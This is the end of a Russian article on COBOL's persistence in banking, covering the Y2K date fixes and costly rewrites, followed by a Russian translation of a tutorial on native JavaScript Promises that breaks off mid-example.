Ошибка Y2K возникла вследствие старого конструктивного решения. Когда первые программисты на COBOL прописывали в своём ПО даты, они использовали две цифры: 1971 год, например, обозначался как «71». Так получилось, потому что у машин в 60-х и 70-х было очень мало памяти. Избавление от двух символов являлось серьёзной экономией. «Все программы использовали память очень продуманно — был дорог каждый байт», — рассказывает мне Томас. Кроме того, кодеры 60-х и 70-х даже не мечтали о том, что их ПО будет использоваться тридцать лет спустя, когда приблизится 2000 год.
Но 2000 год надвигался, и даты из двух цифр превратились в огромную дилемму. В новом тысячелетии ПО на COBOL не будет знать, что означает «00» — 2000 или 1900. Если банк будет вычислять проценты по вкладу, сделанному в году «01», то он может ошибочно предположить, что вклад был сделан в *1901* году и перечислить клиенту проценты за 99 лет. Огромное количество банковских, розничных и зарплатных транзакций используют даты, поэтому необходимо было обновить миллиарды строк программ. Поскольку 2000 год приближался, банки вызвали своих «старичков» с пенсии, заплатили им за изучение кодовых баз, нахождение всех мест, где используются даты, и исправление ситуации.
«На подготовку к Y2K мы потратили два с половиной года», — посмеивается Томас. «Это одна из причин, почему многие из программистов наподобие меня так хорошо знают наши системы. Нам пришлось разбираться в каждой программе».
Но даже при всём этом банку Томаса не хватило времени на *полное* решение проблемы. В некоторых случаях банки и фирмы не меняли код, чтобы можно было использовать полную дату из четырёх цифр, например, «2016». Вместо этого они применяли хак: «правило сдвига». Они выбирали год далеко в будущем, например, 2045, и делали его новой точкой разрыва. Поэтому если COBOL встречает дату из двух цифр, которая больше 45, то он предполагает, что она относится к 1900-м, то есть, допустим, «87» — это 1987 год. А если он встречает число меньше 45, то предполагает, что это 2000-е, то есть «33» означает 2033 год.
По словам Томаса, это означает, что проблема Y2K для них решена не полностью. Они просто отложили её решение. Когда наступит 2045 год, у них снова может возникнуть паника. А это означает, что специалистам по COBOL нужно будет исправлять новый COBOL.
Если только они ещё будут живы… Крейг Бейли из программной фирмы Faircom работал с клиентами, помогая им мигрировать со старых систем COBOL. Фирма работала с каждым клиентом, находя старых уволившихся сотрудников, которые изначально писали эти системы, но время от времени ветераны в процессе работы умирали.
«Однажды в понедельник утром нам позвонили: „боже, проект встал — такой-то работник умер“», — рассказывает Бейли.
Банкам приходится надеяться, что старички продержатся как можно дольше, потому что сегодня не так много молодёжи, изучающей COBOL.
«Нам постоянно звонят компании: „у вас есть кто-нибудь с любым опытом в COBOL?“ Они в отчаянии», — рассказывает Мэрилин Цеппетелли, бывшая сотрудница IBM, работавшая на мейнфреймах компании, ныне — профессор Marist College.
Marist — один из немногих университетов, обучающих COBOL на постоянной основе. Многие учебные программы не рекламируют его. В научных кругах COBOL давно находится в униженном положении. Когда этот язык получил популярность в 70-х, элитные компьютерные учёные скорбели — они заявляли, что COBOL стимулирует к выбору ужасных стилей кодирования, которые выходили из моды. Одним из таких примеров является конструкция «GOTO»: COBOL позволяет приказать программе внезапно перескочить с одной строки на другую, допустим, со строки 899 на строку 217. Честно говоря, компьютерные учёные правы! Подобный стиль кодинга приводит к созданию неряшливих, неупорядоченных программ, которые иногда сложно читать (это так называемый «спагетти-код»), а языки после COBOL в основном отказались от GOTO. Как бы то ни было, обвинения прилипли к языку. Для людей, серьёзно стремившихся к прогрессу в программировании, COBOL был языком неудачников, застоем.
«Работа с COBOL вредит мозгу; следовательно, его преподавание должно считаться уголовным преступлением», — так написал в 1975 году знаменитый компьютерный учёный Эдсгер Дейкстра. COBOL был скорее языком «рабочего класса», вторжением «синих воротничков» в святыню кодинга. Кроме того, когда в 80-х появились недорогие настольные PC, они стали привлекательной новой территорией для запуска кода. Купить их мог любой, а для изучения COBOL требовался доступ к огромным мейнфреймам, которые в основном были только у банков или крупных розничных сетей. «Когда малые и средние машины получили настоящую популярность, вузы перенесли весь процесс обучения на эти платформы, а мейнфреймы остались немного в стороне», — говорит Цеппетелли. В наши дни смартфоны сделали COBOL ещё менее актуальным для студентов: «Он просто не выглядит таким же „сексуальным“, как некоторые другие платформы».
Из-за малого количества специалистов многие банки, правительства и розничные продавцы уже давно используют аутсорсинг работ на COBOL. Они содержат в своём штате небольшое ядро кодеров, знающих язык, а когда им требуется написать что-то новое, нанимаются фирмы, имеющие полки кодеров на COBOL, например, «COBOL Cowboys» Билла Хиншоу или индийские компании.
Некоторые фирмы, озабоченные тем, что в будущем будет слишком трудно найти адептов COBOL, пытаются переписать всю свою систему на новом языке. Почти всегда это является адской задачей: необходимо продумать каждый аспект задач, выполняемый сложным, создававшимся десятки лет программным обеспечением, и воссоздать каждый малейший шаг на новом языке. Три года назад *New York Times* переписал систему циркуляции газет с COBOL на Java; попытка оказалась успешной, однако на подтверждение того, что новая система способна на всё то, что и старая, потребовалось неожиданно много времени.
И им ещё повезло. Commonwealth Bank of Australia попробовал переписать ядро системы на новом языке: на проект потратили вдвое больше ожидаемого, 1 миллиард австралийских долларов. Специалист по мейнфреймам с большим опытом Лен Санталусия однажды работал с финансовой организацией DTCC над исследованием возможности перехода с COBOL на Java.
«У них было примерно семьдесят пять миллионов строк кода на COBOL, и они выяснили, что это будет им стоить так много, что на восполнение затрат потребуется, возможно, пара веков. Это было смехотворно. А ведь у них больше денег, чем у Бога».
Поэтому банки пожимают плечами и говорят: *чёрт с ним*. Если не сломано, то не надо чинить. Продолжим работать со старым COBOL. «Эти программы работали круглосуточно в режиме 24/7 в течение тридцати-сорока лет. Зачем нам их менять?», — говорит Томас.
В то же время банки пытаются мотивировать как можно больше людей изучать COBOL. «Ты получишь работу на всю жизнь», — смеётся Томас.
Однако проблема банков в том, что несмотря на стабильность их кода на COBOL, ожидания их клиентов могут оказаться не столь постоянными. Как вы могли догадаться, ситуация в финансовой отрасли быстро меняется. Транзакции всё больше происходят в приложениях типа Venmo, позволяющих людям отправлять деньги друзьям; сервисы наподобие Coinbase позволяют покупать криптовалюты; существуют новые приложения для кредитования наподобие Tala и Upstart. Сегодня люди ожидают максимально простых способов управления своими деньгами через ПО.
И в этой области банки, у которых должно бы иметься постоянное преимущество в перемещении денег, испытывают трудности. Им сложно быстро создавать новые функции, потому что приходится иметь дело со «стеками технологий» юрского периода. Таково мнение Дэниса Райана, бывшего банкира, который сейчас работает директором по росту в ирландской фирме Showoff, занимающейся созданием приложений для финтеха. Эти старые бекэнды под управлением COBOL хранят данные в различных источниках — по словам Дэниса, «у них много ячеек». И, разумеется, со старым кодом опасно слишком много экспериментировать: «Начинаются проблемы с ресурсами, технологиями, эксплуатацией и рисками».
При этом стартап может делать всё, что угодно. У него нет старых систем. Они находятся в ситуации, которую программисты с любовью называют «с чистого листа». Вместо покупки мейнфреймов ценой сотни тысяч долларов для хранения и обработки данных они просто арендуют пространство в облачной системе типа Amazon. Они могут писать код на новом языке, поэтому способны нанять любого энергичного студента компьютерных наук. И им даже не обязательно создавать что-то самостоятельно: когда Showoff пишет новое финтех-приложение, для выполнения сложной задачи она может использовать готовый сервис, например, Stripe для обработки платежей, а не пытаться создать это ПО для себя.
«Это снимает с команды большую долю эксплуатационной нагрузки, поэтому она может масштабировать свой продукт», — говорит Райан, — «и работать над продуктом, не особо заботясь об инфраструктуре». Иными словами, им не нужно беспокоиться о COBOL.
Вероятно, COBOL никогда не умрёт. Однако это не мешает многим кодерам снова и снова прогнозировать его роковой конец. Первое предупреждение о том, что COBOL умер, появилось ещё до того, как он был выпущен.
К 1960 году комитет, изобретавшего COBOL, проработал всего лишь год, однако один из членов комитета, представитель RCA Говард Бромберг, беспокоился, что они движутся слишком медленно. Он утверждал, что если не выпустить COBOL быстрее, то мир бизнеса может уйти вперёд! Изготовители компьютеров выпустят собственные уникальные языки, а в бизнес-программировании возникнет ситуация вавилонского смешения языков.
Поэтому Бромберг «в сердцах» решил отправить послание главе комитета по COBOL Чарли Филлипсу, работавшему в министерстве обороны. Бромберг привёз могильный камень, увенчанный гранитным знаком «жертвенного агнца», с выгравированным словом «COBOL». («Что это за имя такое?», — спросили его в агентстве ритуальных услуг.)
Бромберг засунул могильный камень в ящик и отправил Филлипсу в Пентагон. «По всей отрасли ходят слухи, что COBOL умирает», — позже вспоминала Грейс Хоппер.
60 лет спустя этот могильный камень находится в Музее компьютерной истории в Маунтин-Вью, Калифорния, а COBOL продолжает править миром. | https://habr.com/ru/post/532554/ | null | ru | null |
# Обещания JavaScript
*Всем привет, и ещё раз всех с прошедшими праздниками. Трудовые будни набирают обороты и вместе с ними растёт информационный голод мучающий нас. Мир разработки переднего конца не дремлет и готовит нам много сюрпризов в наступившем году, и уж поверьте мне, скучно не будет ни кому. Одна из новых особенностей которые нам готовят разработчики браузеров совместно с группами разработчиков пишущих спецификации — JavaScript Promises(далее в переводе — Обещания, прошу сильно не бить) — полюбившийся многим шаблон написания асинхронного кода обзаводится нативной поддержкой. Что же такое обещания и с чем их едят можно прочесть в нижеследующем переводе(слегка вольном) замечательной [статьи](http://www.html5rocks.com/en/tutorials/es6/promises/) [Джейка Арчибальда](http://jakearchibald.com/).*
Дамы и господа, приготовьтесь к грандиозному событию в мире веб разработки…
[Барабанная дробь]
Обещания стали нативными в JavaScript’е!
[Повсюду грохот салютов, толпа в восторге]
В данный момент тебя можно отнести к одной из следующих категорий:
* Люди ликуют вокруг, но ты не можешь понять в чём причина торжества. Возможно ты до сих пор не до конца можешь догнать, что эти “Обещания” вообще из себя представляют. Ты пытаешься пожать плечами, но тонны разноцветных блестящих конфетти давят своим весом на твои плечи. Если так, не переживай, у меня ушли годы изнурительной работы, пока я не перестал волноваться за понимание этой штуковины. Вероятно, тебе просто стоит начать [отсюда](#1).
* Ты кричишь. Ты использовал эти штуки из обещаний до этого, но тебе не давала заснуть мысль, что все имеющиеся реализации имеют слегка разное API. Какое же API нам предоставит официальная реализация в JavaScript’е? Тогда тебе, вероятно, [сюда](#2).
* Ты в курсе всех дел, и злорадно хихикаешь над массой этих простаков, скачущих вокруг тебя так, как будто для них это новость. Удели минутку тому, что бы насладиться своей крутизной, а затем уверенным шагом следуй сразу к [справочнику по API](http://www.html5rocks.com/en/tutorials/es6/promises/#toc-api).
#### Почему все вокруг танцуют?
JavaScript однопоточный, и это означает, что два куска кода не могут выполняться в одно и то же время, а будут работать один за другим. В браузерах JavaScript делит поток с выполнением других операций. Список этих операций отличается от браузера к браузеру, но в большинстве своём JavaScript стоит в одной очереди с операциями отрисовки контента, обновления стилей и обработки пользовательских действий (таких как выделение текста и взаимодействие с полями форм). Выполнение одной из этих операций тормозит всю очередь.
Как существо человеческое, ты многопоточен. Ты можешь долбить по клавишам всеми пальцами руки и подслушивать разговор по телефону коллеги, сидящего за соседним столом. Единственная блокирующая функция, встроенная в нас, это чиханье. Вся текущая активность будет приостановлена на время чиха. Это слегка раздражает, когда ты ведёшь машину и одновременно говоришь по телефону, как вдруг на тебя нападает чих. И тебе бы не хотелось, что бы написанный тобой код, так же страдал от этой проблемы.
Вероятно, что бы предохраниться от этого, ты использовал событийную модель и череду колбэков. Например:
```
var img1 = document.querySelector('.img-1');
img1.addEventListener('load', function() {
// вау, картинка загружена
});
img1.addEventListener('error', function() {
// чёрт, всё сломалось
});
```
Здесь нет блокирующего кода. Мы взяли изображение, навесили на него парочку слушателей, и всё. Дальше JavaScript может прекратить своё выполнение до момента, пока одно из событий не выстрелит.
К несчастью, в примере выше есть вероятность, что события случатся до того как мы начнём слушать их. Поэтому нам придётся подпилить этот пример, воспользовавшись свойством изображений `complete`:
```
var img1 = document.querySelector('.img-1');
function loaded() {
// вау, картинка загружена
}
if (img1.complete) {
loaded();
}
else {
img1.addEventListener('load', loaded);
}
img1.addEventListener('error', function() {
// чёрт, всё сломалось
});
```
Гиблое дело, скажу я тебе. Всё равно это не даст нам шанса отловить картинки, загрузка которых завершилась ошибкой до того момента, когда у нас появилась возможность слушать их. DOM вежливо не предоставляет нам такой возможности. Ещё мы тут пытаемся грузить одну картинку, а представь, если нам понадобится отловить окончание загрузки пачки изображений.
#### События — не всегда лучший выбор
Слушатели — отличная вещь, когда нам требуется отлавливать много повторяющихся событий на одном элементе — keyup, touchstart и т.п. С этими типами событий ты не сильно беспокоишься о том, что случится до того как ты навесишь обработчики. Но когда тебе надо отловить, например, асинхронную загрузку с неопределённым исходом (success/failure), в идеале хотелось бы иметь что-то наподобие этого:
```
img1.callThisIfLoadedOrWhenLoaded(function() {
// загружена
}).orIfFailedCallThis(function() {
// ошибка
});
// и…
whenAllTheseHaveLoaded([img1, img2]).callThis(function() {
// всё загрузилось
}).orIfSomeFailedCallThis(function() {
// чёт не хочет грузиться
});
```
Это именно то, за что отвечают обещания, но только под более внятными и семантическими именами. Если бы HTML изображение имело метод `ready`, который возвращает обещание, мы могли бы сделать следующее:
```
img1.ready().then(function() {
// загружено
}, function() {
// не хочет грузиться
});
// и…
Promise.all([img1.ready(), img2.ready()]).then(function() {
// все загрузились
}, function() {
// одно или несколько не хочет
});
```
В своей основе обещания слегка похожи на события за исключением:
* Обещание может завершиться только один раз, либо успехом, либо ошибкой, и другого не дано. Оно не может выполниться дважды.
* Если обещание выполнится, и ты только после этого передашь ему колбэк, он отработает, не взирая на то, что событие уже давно произошло.
Это чрезвычайно удобно для асинхронных запросов, т.к. тебе неинтересно, когда там это именно случилось, а интересно обработать результаты произошедшего.
#### Терминология Promise’ов
[Доменик Деникола](https://twitter.com/domenic) прочитал первый черновик этой статьи и поставил мне кол за используемую терминологию. В наказание он заставил меня прочесть сто раз положения о возможных “[Состояниях и Исходах Обещаний](https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md)”, и написать извинительное письмо моим родителям. Невзирая на это, у меня всё равно всё смешалось, и я пришёл к следующим основным понятиям:
Обещание может быть:
* **fulfilled** — успешно завершённым
* **rejected** — завершённым с ошибкой
* **pending** — не завершённым
* **settled** — завершённым с любым исходом
В спецификации также используется термин `thenable` для описания promise подобного объекта, который имеет метод `then`. Но этот термин напоминает мне экс-менеджера английского футбола [Тери Венейблса](http://en.wikipedia.org/wiki/Terry_Venables), поэтому я буду использовать его так редко, насколько возможно.
#### Promise’ы встроены в JavaScript!
Обещания уже окружают нас некоторое время в форме библиотек, таких как эти:
* [Q](https://github.com/kriskowal/q)
* [when](https://github.com/cujojs/when)
* [WinJS](http://msdn.microsoft.com/en-us/library/windows/apps/br211867.aspx)
* [RSVP.js](https://github.com/tildeio/rsvp.js)
Обещания из библиотек выше и встроенные в JavaScript придерживаются поведения, описанного в стандартизованной спецификации [Promises/A+](https://github.com/promises-aplus/promises-spec). Если ты используешь JQuery, в ней есть что-то близкое по духу именуемое [Deffered’ами](http://api.jquery.com/category/deferred-object/). Как бы там не было, Deffered’ы слегка не совместимы со спецификацией Promises/A+, что делает их [менее пригодными](https://thewayofcode.wordpress.com/tag/jquery-deferred-broken/), так что держи ухо в остро. JQuery так же имеет [тип Promise](http://api.jquery.com/Types/#Promise), но это всего лишь подмножество полей Deffered’а обладающих теми же проблемами.
Хотя все эти реализации обещаний следуют стандарту, их API различно. API нативных обещаний больше всего похоже на RSVP.js.
```
var promise = new Promise(function(resolve, reject) {
// здесь вытворяй что угодно, если хочешь асинхронно, потом…
if (/* ..если всё закончилось успехом */) {
resolve("Работает!");
}
else {
reject(Error("Сломалось"));
}
});
```
Конструктор обещаний принимает один аргумент — функцию обратного вызова с двумя параметрами: `resolve` и `reject`. Всё просто, внутри колбэка выполняешь любые асинхронные операции, потом вызываешь `resolve` в случае успеха, или `reject` в случае провала.
Как и `throw` в старом добром JavaScript’е, reject’у необязательно передавать объект ошибки. Польза создания объекта Error в том, что отлаживать код, имея в консоли трейс стека вызовов, гораздо приятней.
Далее обещание можно использовать следующим образом:
```
promise.then(function(result) {
console.log(result); // "Обрабатываем результат!"
}, function(err) {
console.log(err); // Ошибка: "Сломалось"
});
```
Стандартизация обещаний началась в DOM как “Futures”, позднее была переименована в “Promises”, и наконец, переместилась в спецификацию JavaScript’а. Идея реализации обещаний, в первую очередь в JavaScript’e, отдельно от объектной модели документа, прекрасна потому, что они смогут быть доступны в не браузерных средах, таких как Node.js.
Хотя они и превратились чисто в JavaScript’овую фичу, DOM не стесняется использовать их на полную. По факту всё новое DOM API, завязанное на асинхронности, будет использовать Обещания. Сейчас это уже происходит с [Quota Management](https://dvcs.w3.org/hg/quota/raw-file/tip/Overview.html#idl-def-StorageQuota), [Font Load Events](http://dev.w3.org/csswg/css-font-load-events/#dom-fontface-ready), [ServiceWorker](https://github.com/slightlyoff/ServiceWorker/blob/cf459d473ae09f6994e8539113d277cbd2bce939/service_worker.ts#L17), [Web MIDI](http://webaudio.github.io/web-midi-api/#widl-Navigator-requestMIDIAccess-Promise-MIDIOptions-options), [Streams](https://github.com/whatwg/streams#basereadablestream), и другими API'шками.
#### Поддержка браузерами
На данный момент поддержка обещаний в браузерах, прямо скажем, слегка ограничена.
Есть в Chrome’е. Скачай [Canary](https://www.google.com/intl/en/chrome/browser/canary.html), там обещания включены по умолчанию. В ином случае, если ты солдат из рядов приверженцев Firefox, качай последнюю [ночную сборку](http://nightly.mozilla.org/), в ней так же есть обещания.
На данный момент нигде реализация обещаний полностью не завершена. Ты можешь отслеживать разработку Firefox'а на [bugzilla](https://bugzilla.mozilla.org/show_bug.cgi?id=918806), и [доску нововведений](http://www.chromestatus.com/features/5681726336532480) Chrome'а, что бы быть в курсе последних событий.
Для того, чтобы привести работу обещаний к надлежащему виду или добавить обещания в другие браузеры и Node.js, используй [полифил](https://github.com/jakearchibald/ES6-Promises/blob/master/README.md).
#### Совместимость с другими библиотеками
JavaScript’овое API обещаний не обходится без метода `then`, как и надлежит Promise-подобному объекту (в Promise терминологии его ещё называют `thenable`). Имеется также метод `Promise.cast`, который стирает границы между встроенными и пользовательскими Promise-подобными объектами. Итак, если ты используешь библиотеку, которая возвращает обещания типа Q, это прекрасно, они будут отлично работать с нативными JavaScrip’овыми обещаниями.
Но, как я и предупреждал, JQuery Deferred’ы, слегка… иные. К счастью, ты можешь привести их к стандартным:
```
var jsPromise = Promise.cast($.ajax('/whatever.json'));
```
Здесь jQuery'ривский `$.ajax` возвращает Deferred. Но пока у него есть метод `then`, `Promist.cast` может обратить его в настоящее обещание. Как бы то ни было, временами Deffered передаёт слишком много аргументов своему колбэку:
```
var jqDeferred = $.ajax('/whatever.json');
jqDeferred.then(function(response, statusText, xhrObj) {
// ...
}, function(xhrObj, textStatus, err) {
// ...
});
В то время как JS обещания игнорируют все кроме первого:
jsPromise.then(function(response) {
// ...
}, function(xhrObj) {
// ...
});
```
К счастью, в большинстве случаев это то, что тебе нужно, и ты получаешь доступ к тому, что тебе надо. Ещё важно знать, что JQuery не следует конвенции передавать объект ошибки в `reject`.
#### Асинхронный код становится проще
Так, давай закодируем пару вещей. Предположим, что мы хотим:
1. Показать вращающуюся иконку для индикации загрузки
2. Запросить некоторый JSON для истории, который содержит заголовок и коллекцию URL’ов для каждой главы
3. Добавить заголовок на странницу
4. Запросить все главы
5. Отобразить их все
6. Скрыть индикатор загрузки
… и так же оповестить пользователя, если что-то по ходу пошло не так. Мы хотим остановить индикатор после ошибки, чтобы не вызвать у пользователя головокружения от вечного вращения.
Конечно же, ты не хочешь динамически грузить контент, который [быстрее отдать как HTML](http://jakearchibald.com/2013/progressive-enhancement-is-faster/), но наш шаблон хорош, когда работаешь со сторонними API: делаешь множество запросов, потом работаешь с данными, когда получишь их все.
Прежде чем начать, давай разберёмся, как мы будем тянуть данные из сети.
#### XMLHttpRequest заручается обещанием
Старые API будут обновлены с использованием обещаний, если это будет возможно не утратив обратную совместимость. `XMLHttpRequest` первый кандидат, а пока давай напишем простую функцию для совершения GET запроса:
```
function get(url) {
// Возвращаем новое Обещание.
return new Promise(function(resolve, reject) {
// Делаем привычные XHR вещи
var req = new XMLHttpRequest();
req.open('GET', url);
req.onload = function() {
// Этот кусок вызовется даже при 404’ой ошибке
// поэтому проверяем статусы ответа
if (req.status == 200) {
// Завершаем Обещание с текстом ответа
resolve(req.response);
}
else {
// Обламываемся, и передаём статус ошибки
// что бы облегчить отладку и поддержку
reject(Error(req.statusText));
}
};
// отлавливаем ошибки сети
req.onerror = function() {
reject(Error("Network Error"));
};
// Делаем запрос
req.send();
});
}
```
Теперь давай используем её:
```
get('story.json').then(function(response) {
console.log("Отлично!", response);
}, function(error) {
console.error("Ошибка!", error);
});
```
Теперь мы можем совершать HTTP запросы, не набирая руками `XMLHttpRequest`, что меня очень радует, т.к. тошнотный вид верблюжьей нотации `XMLHttpRequest`’а сильно отравляет мою жизнь.
#### Цепочка вызовов
`then` это не конец истории, ты можешь связывать вызовы `then` для сквозной трансформации возвращаемых значений или выполнять дополнительные асинхронные действия один за другим.
##### Конвейерная обработка значений
Ты можешь конвейером модифицировать значение просто возвращая новое:
```
var promise = new Promise(function(resolve, reject) {
resolve(1);
});
promise.then(function(val) {
console.log(val); // 1
return val + 2;
}).then(function(val) {
console.log(val); // 3
});
```
Для более практического примера, давай вернёмся к:
```
get('story.json').then(function(response) {
console.log("Отлично!", response);
});
```
Ответ пришёл нам в формате JSON, но нам для вывода контента нужен простой текст. Мы можем установить `responseType` нашего ответа, но также мы можем отправить прогуляться его по чудному миру обещаний:
```
get('story.json').then(function(response) {
return JSON.parse(response);
}).then(function(response) {
console.log("Вот наш JSON!", response);
});
```
К слову, `JSON.parse` принимает один аргумент и возвращает обработанное значение, и мы можем просто передать ссылку на него:
```
get('story.json').then(JSON.parse).then(function(response) {
console.log("Вот наш JSON!", response);
});
```
По факту мы можем с лёгкостью набросать сахарную функцию `getJSON`:
```
function getJSON(url) {
return get(url).then(JSON.parse);
}
```
`getJSON` по прежнему возвращает обещание после того как вытянет данные и распарсит JSON’овский ответ.
##### Очередь асинхронных событий
Ты также можешь связать вызовы `then` для выполнения асинхронных действий последовательно.
Когда ты возвращаешь что-то из колбэка `then`, происходит немного магии. Если ты возвращаешь любое значение, это значение передастся функции обратного вызова следующего `then`. А если ты вернёшь что-то похожее на обещание, следующий `then` подождёт его и вызовет колбэк только когда оно выполнится. Например:
```
getJSON('story.json').then(function(story) {
return getJSON(story.chapterUrls[0]);
}).then(function(chapter1) {
console.log("Получили первую главу!", chapter1);
});
```
Здесь мы делаем асинхронный запрос к `story.json`, а когда получаем в ответе набор URL’ов, мы запрашиваем по первому из них. Тут мы ясно видим как далеко может откатиться яблоко от яблони, преимущество обещаний перед привычным шаблоном колбэков режет глаза. Ты можешь вынести логику запроса статьи в отдельный метод:
```
var storyPromise;
function getChapter(i) {
storyPromise = storyPromise || getJSON('story.json');
return storyPromise.then(function(story) {
return getJSON(story.chapterUrls[i]);
})
}
// и с лёгкостью использовать его:
getChapter(0).then(function(chapter) {
console.log(chapter);
return getChapter(1);
}).then(function(chapter) {
console.log(chapter);
});
```
Мы не загружаем `story.json` до первого вызова `getChapter`, а следующие вызовы `getChapter` переиспользуют уже выполнившееся обещание загрузки истории и не делают дополнительных запросов. Ох уж эти Обещания!
#### Обработка ошибок
Как мы видели ранее, `then` принимает два аргумента, один для успешного завершения, другой вызывается в случае ошибки (fulfill и reject в терминологии обещаний):
```
get('story.json').then(function(response) {
console.log("Отлично!", response);
}, function(error) {
console.log("Ошибка!", error);
});
```
Ты также можешь использовать `catch`:
```
get('story.json').then(function(response) {
console.log("Отлично!", response);
}).catch(function(error) {
console.log("Ошибка!", error);
});
```
В этом методе нет ничего особенного, это просто более читаемый сахар для `then(undefined, func)`. Заметь, что два куска кода выше, это не одно и то же, последний эквивалентен следующему:
```
get('story.json').then(function(response) {
console.log("Отлично!", response);
}).then(undefined, function(error) {
console.log("Ошибка!", error);
});
```
Эта, на первый взгляд, небольшая разница — на самом деле очень мощная концепция. Отказ от обещания (rejections) будет передаваться вниз по цепочке вызовов `then` (или `catch`, что почти одно и то же) пока не встретит первый обработчик ошибки. В случае `then(func1, func2)`, `func1` и `func2` никогда не будут вызваны обе. Но в цепочке `then(func1).catch(func2)` могут быть вызваны обе функции, если в обещании, возвращаемом из `func1`, произойдёт отказ (reject). Приколись со следующего куска кода:
```
asyncThing1().then(function() {
return asyncThing2();
}).then(function() {
return asyncThing3();
}).catch(function(err) {
return asyncRecovery1();
}).then(function() {
return asyncThing4();
}, function(err) {
return asyncRecovery2();
}).catch(function(err) {
console.log("Don't worry about it");
}).then(function() {
console.log("All done!");
});
```
Процесс обработки ошибок очень похож на стандартный `try/catch`, ошибка, произошедшая в блоке `try`, немедленно передаётся в блок `catch`. Вот блок-схема происходящего в коде выше (обожаю блок-схемы):
Следуй по зелёным стрелочкам, в случае успешно выполненного обещания и по красным, в случае отказа.
##### Исключения JavaScript и обещания
Обработка ошибок может произойти не только, когда ты явно отказываешься (reject) от обещания, но и неявно, когда исключение генерируется внутри колбэка конструктора.
```
var jsonPromise = new Promise(function(resolve, reject) {
// JSON.parse генериует исключение в случае
// невалидного JSON, и оно неявно передаётся reject’у:
resolve(JSON.parse("This ain't JSON"));
});
jsonPromise.then(function(data) {
// Этот кусок никогда не выполнится:
console.log("Работает!", data);
}).catch(function(err) {
// а это произойдёт:
console.log("Ошибка!", err);
});
```
Это значит, что лучше всего делать всю связанную с обещанием работу внутри функции обратного вызова, которую ты передаёшь конструктору, и все ошибки будут автоматически перехватываться функцией, которую ты используешь для обработки отказа от обещания.
То же самое произойдёт при генерации исключения в колбэке `then`:
```
get('/').then(JSON.parse).then(function() {
// Этот код не отработает, '/' это не нужный нам JSON
// и поэтому JSON.parse сгенерирует исключение
console.log("Работает!", data);
}).catch(function(err) {
// Неявно вызовется это:
console.log("Ошибка!", err);
});
```
##### Обработка ошибок на практике
В случае с нашей историей, разбитой на главы, мы можем использовать `catch`, чтобы оповестить пользователя об ошибке:
```
getJSON('story.json').then(function(story) {
return getJSON(story.chapterUrls[0]);
}).then(function(chapter1) {
addHtmlToPage(chapter1.html);
}).catch(function() {
addTextToPage("Невозможно отобразить главу");
}).then(function() {
document.querySelector('.spinner').style.display = 'none';
});
```
Если запрос к `story.chapterUrls[0]` сорвётся (http 500 или пользователь ушёл в оффлайн), не произойдёт выполнение всех последующих колбэков, вызываемых в случае успеха, таких как парсер JSON’а, включённого в `getJSON`, колбэк, добавляющий первую главу на страницу, тоже проигнорируется. Выполнение сразу перейдёт к первому колбэку обработки ошибки. В результате, пользователь увидит сообщение «Невозможно отобразить главу», если в любом из предыдущих колбэков что-то пойдёт не так.
Как и в случае стандартного `try/catch` ошибка будет перехвачена, и программа продолжит своё выполнение, поэтому мы успешно скроем индикатор загрузки, что нам и надо. Вот как это выглядело бы в синхронной блокирующей версии:
```
try {
var story = getJSONSync('story.json');
var chapter1 = getJSONSync(story.chapterUrls[0]);
addHtmlToPage(chapter1.html);
}
catch (e) {
addTextToPage("Невозможно отобразить главу");
}
document.querySelector('.spinner').style.display = 'none';
```
Возможно ты захочешь перехватить ошибку ещё и чуть раньше, например, для протоколирования происходящего. Для этого просто перегенерируй ошибку в этом месте. Мы можем сделать это в нашем `getJSON` методе:
```
function getJSON(url) {
return get(url).then(JSON.parse).catch(function(err) {
console.log("getJSON обрушился на", url, err);
throw err;
});
}
```
Итак, у нас получилось вывести одну главу, но мы хотим видеть их все. Давай сделаем это.
#### Параллелизм и очередь — возьмём лучшее от обоих
Думать асинхронно не так-то и просто. Если ты зашёл в тупик, попробуй написать код так, как будто он синхронный:
```
try {
var story = getJSONSync('story.json');
addHtmlToPage(story.heading);
story.chapterUrls.forEach(function(chapterUrl) {
var chapter = getJSONSync(chapterUrl);
addHtmlToPage(chapter.html);
});
addTextToPage("All done");
}
catch (err) {
addTextToPage("Что-то сломалось: " + err.message);
}
document.querySelector('.spinner').style.display = 'none';
```
Это [работает](http://www.html5rocks.com/en/tutorials/es6/promises/sync-example.html)! Но все действия выполняются синхронно и блокируют браузер на время загрузки. Для того, чтобы сделать этот код асинхронным, мы будем использовать `then` для выполнения задач одну за другой.
```
getJSON('story.json').then(function(story) {
addHtmlToPage(story.heading);
// TODO: загрузить и отобразить каждую главу из story.chapterUrls
}).then(function() {
// Всё загрузилось и обработалось!
addTextToPage("Всё ок");
}).catch(function(err) {
// Перехватываем любую ошибку, которая встретилась на пути
addTextToPage("Что-то сломалось: " + err.message);
}).then(function() {
// И всегда скрываем индикатор
document.querySelector('.spinner').style.display = 'none';
});
```
Но как нам обойти последовательно все главы? Так работать не будет:
```
story.chapterUrls.forEach(function(chapterUrl) {
// запросить главы
getJSON(chapterUrl).then(function(chapter) {
// и вывести их на страницу
addHtmlToPage(chapter.html);
});
});
```
`forEach` не имеет ничего общего с асинхронностью, и наши главы будут добавляться на страницу в произвольном порядке по мере загрузки, примерно, как было написано “Криминальное чтиво”. У нас не “Криминальное чтиво”, поэтому давай это исправим…
##### Ставим всё в очередь
Мы хотим обратить наш массив `chaptersUrls` в очередь обещаний. Мы можем сделать это следующим образом:
```
// Начинаем с создания Обещания, которое уже спешно выполнено
var sequence = Promise.resolve();
// бежим по нашему списку глав
story.chapterUrls.forEach(function(chapterUrl) {
// добавляем следующие действия в конец очереди
sequence = sequence.then(function() {
return getJSON(chapterUrl);
}).then(function(chapter) {
addHtmlToPage(chapter.html);
});
});
```
Вот мы впервые и познакомились с фабричным методом `Promise.resolve`, который создаёт сразу выполненное обещание с тем значением, которое ты ему передашь. Если ты передашь ему что-то подобное обещанию (то, у чего имеется метод `then`), он вернёт его копию. Если вызвать `Promise.resolve` без аргумента, как в нашем примере, он вернёт успешно выполненное обещание со значением undefined.
Так же есть обратный метод `Promise.reject(val)`, который возвращает обещание, завершённое ошибкой, со значением, которое ты ему передашь (или `undefined`).
Мы можем сделать код чуть более опрятным, используя [`array.reduce`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce):
```
// бежим по нашему списку глав
story.chapterUrls.reduce(function(sequence, chapterUrl) {
// добавляем следующие действия в конец очереди
return sequence.then(function() {
return getJSON(chapterUrl);
}).then(function(chapter) {
